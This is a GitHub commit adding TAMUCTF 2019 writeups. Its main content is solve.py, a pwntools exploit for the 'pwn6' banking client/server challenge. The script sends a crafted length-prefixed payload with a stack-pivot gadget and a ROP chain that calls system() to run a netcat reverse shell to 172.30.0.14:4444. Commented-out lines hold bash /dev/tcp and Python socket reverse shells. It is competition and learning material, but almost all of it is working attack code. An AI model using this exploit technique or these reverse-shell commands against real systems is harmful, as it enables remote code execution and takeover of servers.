Skip to content

Commit 1a08844

Browse files
committed
Add tamuctf tasks
1 parent e4fd833 commit 1a08844

File tree

5 files changed

+96
-0
lines changed

5 files changed

+96
-0
lines changed

README.md

+4
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,9 @@
11
# Writeups
22

3+
## TAMUCTF 2019
4+
* [(PWN) pwn6 - exploit client/server app](tamuctf/pwn6/solve.py)
5+
* [(NETWORK) alt-f4](tamuctf/altf4/solution.md)
6+
37
### ISITDTU CTF quals 2018
48
* [(PWN) babyformat - just a solving script *for a local libc*](isitdtu_ctf_quals_2018/babyformat/solve.py)
59
* [(PWN) xoxopwn - Python eval pwn](isitdtu_ctf_quals_2018/xoxopwn.md)

tamuctf/pwn6/Banking.db

8 KB
Binary file not shown.

tamuctf/pwn6/client

22.2 KB
Binary file not shown.

tamuctf/pwn6/server

921 KB
Binary file not shown.

tamuctf/pwn6/solve.py

+92
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
#!/usr/bin/env python2
2+
## -*- coding: utf-8 -*-
3+
from pwn import *
4+
5+
# Set up pwntools for the correct architecture
6+
exe = context.binary = ELF('./server')
7+
argv = []
8+
9+
host = args.HOST or '127.0.0.1'
10+
port = int(args.PORT or 6210)
11+
12+
def launch():
13+
return remote(host, port)
14+
15+
p = launch()
16+
17+
"""
18+
payload = ''
19+
payload += p32(0x6c-4) # offset to our buffer
20+
payload += p64(0x040504E) # system@plt
21+
payload += 'y' *8 + 'x'*(400-16) + 'zzzzzzzz'
22+
payload = p32(len(payload)-8) + payload # whole length
23+
print(`payload`)
24+
""" # some old payload that was executing system but wasn't useful
25+
26+
payload = ''
27+
payload += p32(0x6c-4) # offset to our buffer
28+
payload += p64(0x0000000000410362) # gadget that does add rsp, 0x50, sets some regs and does ret
29+
30+
# ROP starts here; some regs are set but we don't use them at the end
31+
rop = ''
32+
rop = p64(0xdeadbabe) # RBX
33+
rop += p64(0xdeadbabe) # RBP
34+
rop += p64(0xdeadbabe) # R12
35+
rop += p64(0xdeadbabe) # R13
36+
37+
# Some old gadget I was testing but didn't use at the end
38+
"""
39+
rop += p64(0x00000000004021ce) #: pop rdi; ret;
40+
rop += p64(5) # RDI === our/client sockfd
41+
42+
rop += p64(0x0000000000409362) #: pop rcx; add rsp, 0x18; pop rbx; pop rbp; ret;
43+
rop += p64(0)
44+
rop += p64(0x4343434343434343) * 3
45+
rop += p64(0x4242424242424242) # RBX
46+
rop += p64(0x4141414141414141) # RBP
47+
48+
rop += p64(0x00000000004bb28e) #: pop rdx; ret;
49+
rop += p64(100)
50+
51+
52+
53+
# RDX = size
54+
# RCX = flags (???)
55+
# RDI = fd
56+
# RSI = buf
57+
rop += p64(0x0000000000401A30) # jmp _send (send plt)
58+
"""
59+
60+
###### interesting gadgets I used in the end!
61+
# 0x000000000040e7ed: add rax, rdx; ret;
62+
# 0x0000000000409073: pop rax; ret;
63+
# 0x00000000004097be: mov rdi, rax; call qword ptr [rax + 0x78];
64+
65+
# The RAX value was adjusted to get a proper value somewhere later :P
66+
rop += p64(0x0000000000409073) #: pop rax; ret;
67+
rop += p64(0xfffffffffffffb60) # RAX
68+
rop += p64(0x000000000040e7ed) #: add rax, rdx; ret;
69+
rop += p64(0x00000000004097be) #: mov rdi, rax; call qword ptr [rax + 0x78];
70+
71+
72+
# Some revshells I tested... 172.30.0.14 == our ip in vpn
73+
cmd = "nc -e /bin/sh 172.30.0.14 4444"
74+
#cmd = "bash -i >& /dev/tcp/172.30.0.14/4444 0>&1"
75+
#cmd = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.30.0.14",4444));os.dup2(s.fileno(),5); os.dup2(s.fileno(),5); os.dup2(s.fileno(),5);p=subprocess.call(["/bin/sh","-i"]);''"""
76+
#cmd = 'ping 172.30.0.14'
77+
rop += cmd
78+
rop += '\x00' * (0x78 - len(cmd))
79+
rop += p64(0x0401A10) # jumps to _system if i recall correctly
80+
81+
# alignment for rop
82+
assert len(rop) <= 400
83+
payload += rop
84+
payload += 'x'*(400 - len(rop))
85+
payload = p32(len(payload)-8) + payload # whole length
86+
87+
# Debug print ftw
88+
print(`payload`)
89+
90+
p.send(payload)
91+
92+
p.interactive()

0 commit comments

Comments
 (0)